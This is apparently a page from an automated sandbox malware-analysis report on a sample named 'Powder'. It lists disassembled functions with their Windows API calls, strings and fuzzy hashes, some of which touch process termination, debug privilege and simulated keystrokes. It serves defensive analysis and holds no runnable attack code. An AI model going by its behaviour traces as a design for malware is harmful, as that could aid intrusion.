GetPixel.GDI32(00000000,?,?), ref: 00CBC12E
ReleaseDC.USER32(?,00000000), ref: 00CBC140
GetSysColor.USER32(00000005), ref: 00CBC15E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 7a2e0ec45ba78991a8269204c242a6a15ced6073429deb6bf81a360531fcda74
Instruction ID: 0c1e8f4f1116ecb8d7e58e243cef1d22b9e23063350e0c487ed6955834898cbc
Opcode Fuzzy Hash: 7a2e0ec45ba78991a8269204c242a6a15ced6073429deb6bf81a360531fcda74
Instruction Fuzzy Hash: F9112C31500305BFDB616FA4EC48BE97FA6EB04321F108265FA65D52E1CFB10A92EF21

Function 00C8AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00C8ADE1
OleUninitialize.OLE32(?,00000000), ref: 00C8AE80
UnregisterHotKey.USER32(?), ref: 00C8AFD7
DestroyWindow.USER32(?), ref: 00CC2F64
FreeLibrary.KERNEL32(?), ref: 00CC2FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00CC2FF6

Strings

close all, xrefs: 00C8ADDC

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 42cdba799868a9bc4a48f5d05dcfb307cb681106406ef60846f02e773d9e5dbf
Instruction ID: bed9f171034652c8eb19a2baf601614dddfaa3f8565c11357c1a85caa57181e9
Opcode Fuzzy Hash: 42cdba799868a9bc4a48f5d05dcfb307cb681106406ef60846f02e773d9e5dbf
Instruction Fuzzy Hash: F9A18931701222CFDB29EF54D499F69F760BF04744F1482ADE90AAB261CB30AE52DF95

Function 00CDAD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00CDB13A), ref: 00CDB078

Strings

CLASS, xrefs: 00CDADF7
NAME, xrefs: 00CDAEAA
CLASSNN, xrefs: 00CDAE1A
INSTANCE, xrefs: 00CDAF86
TEXT, xrefs: 00CDAFAF
REGEXPCLASS, xrefs: 00CDAE3D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: f0df8f2581be5833a3faba9529b437653471428bde58d4f111664cd80ed4af84
Instruction ID: 72706b271629b598b5b0cfa4ef343638a77c090e387e2506c1147ef3acf208c6
Opcode Fuzzy Hash: f0df8f2581be5833a3faba9529b437653471428bde58d4f111664cd80ed4af84
Instruction Fuzzy Hash: 2691CD71600606DBCB08EFA0C482BEDF775BF05344F54811AE96AA7351DF307A59D7A1

Function 00C831F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00C8327E

Part of subcall function 00C8218F: GetClientRect.USER32(?,?), ref: 00C821B8
Part of subcall function 00C8218F: GetWindowRect.USER32(?,?), ref: 00C821F9
Part of subcall function 00C8218F: ScreenToClient.USER32(?,?), ref: 00C82221

GetDC.USER32 ref: 00CBD073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00CBD086
SelectObject.GDI32(00000000,00000000), ref: 00CBD094
SelectObject.GDI32(00000000,00000000), ref: 00CBD0A9
ReleaseDC.USER32(?,00000000), ref: 00CBD0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00CBD13C

Strings

U, xrefs: 00CBD011

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: c1991ca72096a799085e0d9ea8a3c8799158aec894cfb4889018ea3d668fd9ea
Instruction ID: 54f119e4daac3b96e821497a1958ecf95d5b2ba2ad70886829da5ee6d23044cc
Opcode Fuzzy Hash: c1991ca72096a799085e0d9ea8a3c8799158aec894cfb4889018ea3d668fd9ea
Instruction Fuzzy Hash: 0771F530504205EFCF21AF64D884AEA7BB5FF49324F144269FD66962A6E7318E42DF60

Function 00D0C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

Part of subcall function 00C82714: GetCursorPos.USER32(?), ref: 00C82727
Part of subcall function 00C82714: ScreenToClient.USER32(00D477B0,?), ref: 00C82744
Part of subcall function 00C82714: GetAsyncKeyState.USER32(00000001), ref: 00C82769
Part of subcall function 00C82714: GetAsyncKeyState.USER32(00000002), ref: 00C82777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00D0C69C
ImageList_EndDrag.COMCTL32 ref: 00D0C6A2
ReleaseCapture.USER32 ref: 00D0C6A8
SetWindowTextW.USER32(?,00000000), ref: 00D0C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00D0C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00D0C847

Strings

@GUI_DRAGFILE, xrefs: 00D0C7DC
@GUI_DROPID, xrefs: 00D0C799

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 1e194d080ec42f1023af5f1d0386033cca3372aaa1cd118cf3ed48becdaffaca
Instruction ID: 4ea1cfdbfe54c87f2f521e016a9aea8084a498327069abfd835aaffe4805e603
Opcode Fuzzy Hash: 1e194d080ec42f1023af5f1d0386033cca3372aaa1cd118cf3ed48becdaffaca
Instruction Fuzzy Hash: 2551BE74604305AFDB04EF14CC5AFAA7BE1FB84314F048A1DF995872E1DB70A945DB62

Function 00CF9330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00D10980), ref: 00CF9412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00D10980), ref: 00CF9446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00CF95C0
SysFreeString.OLEAUT32(?), ref: 00CF95EA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 84382860b462f266b50e8f75e50ac7b1b7ab4bb731a0bf798a3fe6c4ef673001
Instruction ID: d4af9a3db8d805c3b6058b14c037a5aea6bbcd3c657b64904fcf5d283f7c2f42
Opcode Fuzzy Hash: 84382860b462f266b50e8f75e50ac7b1b7ab4bb731a0bf798a3fe6c4ef673001
Instruction Fuzzy Hash: 69F13971A00219AFCF44EF94C884EBEB7B9FF45314F108159F616AB261DB31AE46CB51

Function 00CFFD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFFD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CFFFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D00133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00D00165
CloseHandle.KERNEL32(?), ref: 00D00194
CloseHandle.KERNEL32(?), ref: 00D0020B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: d4b90d8069a5b328b291fb35617739aa9a643e0c7dc8619e4147482b69557383
Instruction ID: f7de521ed32b3c3246ee174e5616c608f50bb41049adc963ed7dbdc2add0aca9
Opcode Fuzzy Hash: d4b90d8069a5b328b291fb35617739aa9a643e0c7dc8619e4147482b69557383
Instruction Fuzzy Hash: F8E1D031204341DFCB15EF24C891B6ABBE1EF85314F18856DF9999B2A2DB30EC45DB62

Function 00CE527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00CE3B8A,?), ref: 00CE4BE0

Part of subcall function 00CE4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00CE3B8A,?), ref: 00CE4BF9

Part of subcall function 00CE4FEC: GetFileAttributesW.KERNEL32(?,00CE3BFE), ref: 00CE4FED

lstrcmpiW.KERNEL32(?,?), ref: 00CE52FB
_wcscmp.LIBCMT ref: 00CE5315
MoveFileW.KERNEL32(?,?), ref: 00CE5330

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 7e2cd4ed94be3bb358cc366c0365f26763f7007891fca43933bff73d738929d6
Instruction ID: f7f4df4927c183a68eaeaf62249de5ce796cc62faff608148f2baaeb146fd1eb
Opcode Fuzzy Hash: 7e2cd4ed94be3bb358cc366c0365f26763f7007891fca43933bff73d738929d6
Instruction Fuzzy Hash: 315181B20087C59BC724EBA4D8819DBB3ECAF85304F40491EB689C3152EF34E688C766

Function 00D08C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00D08D24

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: f2d9b7f1262ad3a1f952735a7d116fd0e4c86d9a76ef1d313a0f289283e774d6
Instruction ID: df546c19a079f961953200c413383898984be8383d8f25f228d7807c257fdd4b
Opcode Fuzzy Hash: f2d9b7f1262ad3a1f952735a7d116fd0e4c86d9a76ef1d313a0f289283e774d6
Instruction Fuzzy Hash: 5F519230640204FFEF24AF24CC89B997B64EB15350F284515F599E62E1CF72E990EB74

Function 00C82F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00CBC638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00CBC65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00CBC672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00CBC690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00CBC6B1
DestroyIcon.USER32(00000000), ref: 00CBC6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00CBC6DD
DestroyIcon.USER32(?), ref: 00CBC6EC

Part of subcall function 00D0AAD4: DeleteObject.GDI32(00000000), ref: 00D0AB0D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 53f509e01aec2685a323446c5c1f92fb072a40cc3df6d3a34b19d47453d85350
Instruction ID: d7ead591d675b368c96f1b7ba0016a048f9a3c0eb1300c3b185c3f0c968daecf
Opcode Fuzzy Hash: 53f509e01aec2685a323446c5c1f92fb072a40cc3df6d3a34b19d47453d85350
Instruction Fuzzy Hash: 6E517B70600309AFDB20EF65CC89FAA7BB5EB48714F104528F912D7290DBB0AD90DB64

Function 00CDA226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CDB52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDB54D
Part of subcall function 00CDB52D: GetCurrentThreadId.KERNEL32 ref: 00CDB554
Part of subcall function 00CDB52D: AttachThreadInput.USER32(00000000,?,00CDA23B,?,00000001), ref: 00CDB55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00CDA246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00CDA263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00CDA266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CDA26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00CDA28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CDA290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00CDA299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00CDA2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00CDA2B3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 45fe5f5b189eaa412d0a3a3cc81c857ecf2a55dd749fa9119b7a0251c00c9022
Instruction ID: 1d92b67c5e45ec1acbcbf6fe591dcbc0a7d0c6e3402968876ef4d9b2ed5e8523
Opcode Fuzzy Hash: 45fe5f5b189eaa412d0a3a3cc81c857ecf2a55dd749fa9119b7a0251c00c9022
Instruction Fuzzy Hash: C511C271550718BFF6106B619C89FAA3E1DDB4C750F114416F344AB290CEF25C919AB0

Function 00CD94D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00CD915A,00000B00,?,?), ref: 00CD94E2
HeapAlloc.KERNEL32(00000000,?,00CD915A,00000B00,?,?), ref: 00CD94E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00CD915A,00000B00,?,?), ref: 00CD94FE
GetCurrentProcess.KERNEL32(?,00000000,?,00CD915A,00000B00,?,?), ref: 00CD9506
DuplicateHandle.KERNEL32(00000000,?,00CD915A,00000B00,?,?), ref: 00CD9509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00CD915A,00000B00,?,?), ref: 00CD9519
GetCurrentProcess.KERNEL32(00CD915A,00000000,?,00CD915A,00000B00,?,?), ref: 00CD9521
DuplicateHandle.KERNEL32(00000000,?,00CD915A,00000B00,?,?), ref: 00CD9524
CreateThread.KERNEL32(00000000,00000000,00CD954A,00000000,00000000,00000000), ref: 00CD953E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 4e67285b93314941e71cf3bd691fa8f7502473f828258b693781a9d2c6df5e0a
Instruction ID: 329af33d72907b1cfc192beff60f6f0da336bdf14dcf534306f5d7d7b8f13d74
Opcode Fuzzy Hash: 4e67285b93314941e71cf3bd691fa8f7502473f828258b693781a9d2c6df5e0a
Instruction Fuzzy Hash: 4D01ACB5240304BFE610AB65DC4DFA77B6CEB89711F008511FA05DB291DAB598418A30

Function 00CFA20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00CFA265
NULL Pointer assignment, xrefs: 00CFA28E, 00CFA5B2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 0c797f4274bfad3bacd67775c656f9535c1cbabad4e3bbd25e71353b2ca67fd6
Instruction ID: 4586cf5550b3af6308104c4bba19024a2e5478d9e9701205e490dcb80e3ac4d1
Opcode Fuzzy Hash: 0c797f4274bfad3bacd67775c656f9535c1cbabad4e3bbd25e71353b2ca67fd6
Instruction Fuzzy Hash: 74C1A5B1A0021E9FDF54DF58C884ABEF7B5FB48314F148529EA19A7280E770DE45CB62

Function 00CF97FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CF9851
VariantInit.OLEAUT32(?), ref: 00CF9922
VariantInit.OLEAUT32(?), ref: 00CF9A23
VariantClear.OLEAUT32(?), ref: 00CF9A2D
VariantClear.OLEAUT32(?), ref: 00CF9A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00CF9A06
Null Object assignment in FOR..IN loop, xrefs: 00CF98B2, 00CF99E0, 00CF9A98

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: c1f7667e826b609981ba03c1d55f44320990a068136145448c3e95f271b1593e
Instruction ID: f5587b72e9651baeec8a9974b801cea28656a3cc8dde469f2bad34d4c35b3d7b
Opcode Fuzzy Hash: c1f7667e826b609981ba03c1d55f44320990a068136145448c3e95f271b1593e
Instruction Fuzzy Hash: 07919E31A00219AFDF64DFA5C844FAEBBB8EF45710F10855EF619AB290D7709A44CFA1

Function 00D073A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00D07449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00D0745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00D07477
_wcscat.LIBCMT ref: 00D074D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00D074E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00D07517

Strings

SysListView32, xrefs: 00D0741B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 7e3a4a80672a348eb71f7af48df0a2740613e0be8f9ce8aac825f3246f3957f5
Instruction ID: 1bcd561ff85bf39e903f17b3245897218e52098ff063ae110a53f1f90c1305d6
Opcode Fuzzy Hash: 7e3a4a80672a348eb71f7af48df0a2740613e0be8f9ce8aac825f3246f3957f5
Instruction Fuzzy Hash: 16418670A04348AFEB219F64CC85BEE7BA8EF08354F14442AF959E72D1D671AD84DB70

Function 00CFF01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00CE4148: CreateToolhelp32Snapshot.KERNEL32 ref: 00CE416D
Part of subcall function 00CE4148: Process32FirstW.KERNEL32(00000000,?), ref: 00CE417B
Part of subcall function 00CE4148: CloseHandle.KERNEL32(00000000), ref: 00CE4245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CFF08D
GetLastError.KERNEL32 ref: 00CFF0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00CFF0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00CFF14C
GetLastError.KERNEL32(00000000), ref: 00CFF157
CloseHandle.KERNEL32(00000000), ref: 00CFF18C

Strings

SeDebugPrivilege, xrefs: 00CFF0AB

Memory Dump Source

